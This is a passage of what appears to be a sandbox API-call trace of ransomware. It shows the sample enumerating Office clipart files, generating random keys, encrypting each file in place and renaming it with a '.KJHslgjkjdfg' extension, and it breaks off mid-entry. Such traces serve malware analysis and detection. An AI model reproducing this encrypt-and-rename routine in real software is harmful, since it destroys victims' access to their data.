1 [0160.437] GetProcessHeap () returned 0x2a0000 [0160.437] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.437] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.437] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.437] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.439] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.439] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.439] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.439] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.439] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.440] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.440] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.440] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.440] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb20, lpOverlapped=0x0) returned 1 [0160.440] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb20, dwBufLen=0xb20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb20) returned 1 [0160.440] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.440] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb20, lpOverlapped=0x0) returned 1 [0160.442] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.442] SetEndOfFile (hFile=0x114) returned 1 [0160.445] GetProcessHeap () returned 0x2a0000 [0160.445] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.445] GetProcessHeap () returned 0x2a0000 [0160.445] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.kjhslgjkjdfg")) returned 1 [0160.447] CloseHandle (hObject=0x114) returned 1 [0160.447] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01015_.WMF", cAlternateFileName="")) returned 1 [0160.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.449] GetProcessHeap () returned 0x2a0000 [0160.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.449] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.449] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.449] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.451] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.451] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.451] GetProcessHeap () returned 0x2a0000 [0160.451] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.451] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.451] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.451] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.452] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.452] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.452] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.452] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.452] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.452] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.452] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.452] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.452] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x47c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x47c, lpOverlapped=0x0) returned 1 [0160.452] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x480, dwBufLen=0x480 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x480) returned 1 [0160.452] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.452] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x480, lpOverlapped=0x0) returned 1 [0160.453] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.453] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.453] SetEndOfFile (hFile=0x114) returned 1 [0160.455] GetProcessHeap () returned 0x2a0000 [0160.455] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.455] GetProcessHeap () returned 0x2a0000 [0160.455] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.kjhslgjkjdfg")) returned 1 [0160.457] CloseHandle (hObject=0x114) returned 1 [0160.457] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436e0000, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x436e0000, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01058_.WMF", cAlternateFileName="")) returned 1 [0160.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.708] GetProcessHeap () returned 0x2a0000 [0160.708] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.708] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.708] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.708] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0160.710] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.710] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.710] GetProcessHeap () returned 0x2a0000 [0160.710] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.710] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.711] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.711] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.711] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.711] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.711] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.711] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.711] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.711] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.711] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.711] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.711] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xac4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xac4, lpOverlapped=0x0) returned 1 [0160.711] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xad0, dwBufLen=0xad0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xad0) returned 1 [0160.711] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.711] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xad0, lpOverlapped=0x0) returned 1 [0160.712] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.712] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.712] SetEndOfFile (hFile=0x114) returned 1 [0160.714] GetProcessHeap () returned 0x2a0000 [0160.714] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.714] GetProcessHeap () returned 0x2a0000 [0160.714] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.kjhslgjkjdfg")) returned 1 [0160.715] CloseHandle (hObject=0x114) returned 1 [0160.715] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e49800, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39e49800, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01065_.WMF", cAlternateFileName="")) returned 1 [0160.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.716] GetProcessHeap () returned 0x2a0000 [0160.716] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.716] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.716] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.716] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0160.719] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.719] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.719] GetProcessHeap () returned 0x2a0000 [0160.719] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.719] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.719] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.719] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.719] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.719] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.719] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.719] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0160.720] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.720] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.720] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.720] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.720] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4f4, lpOverlapped=0x0) returned 1 [0160.720] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x500, dwBufLen=0x500 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x500) returned 1 [0160.720] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.720] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x500, lpOverlapped=0x0) returned 1 [0160.720] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.720] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.720] SetEndOfFile (hFile=0x114) returned 1 [0160.723] GetProcessHeap () returned 0x2a0000 [0160.723] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0160.723] GetProcessHeap () returned 0x2a0000 [0160.723] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0160.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.kjhslgjkjdfg")) returned 1 [0160.724] CloseHandle (hObject=0x114) returned 1 [0160.724] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a09b00, ftCreationTime.dwHighDateTime=0x1bd4af4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a09b00, ftLastWriteTime.dwHighDateTime=0x1bd4af4, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HH01080_.WMF", cAlternateFileName="")) returned 1 [0160.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0160.725] GetProcessHeap () returned 0x2a0000 [0160.725] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0160.725] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0160.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0160.725] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0160.727] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0160.727] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0160.727] GetProcessHeap () returned 0x2a0000 [0160.727] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0160.727] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0160.727] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0160.727] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0160.727] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0160.727] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0160.728] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0160.728] SetFilePointerEx (in: 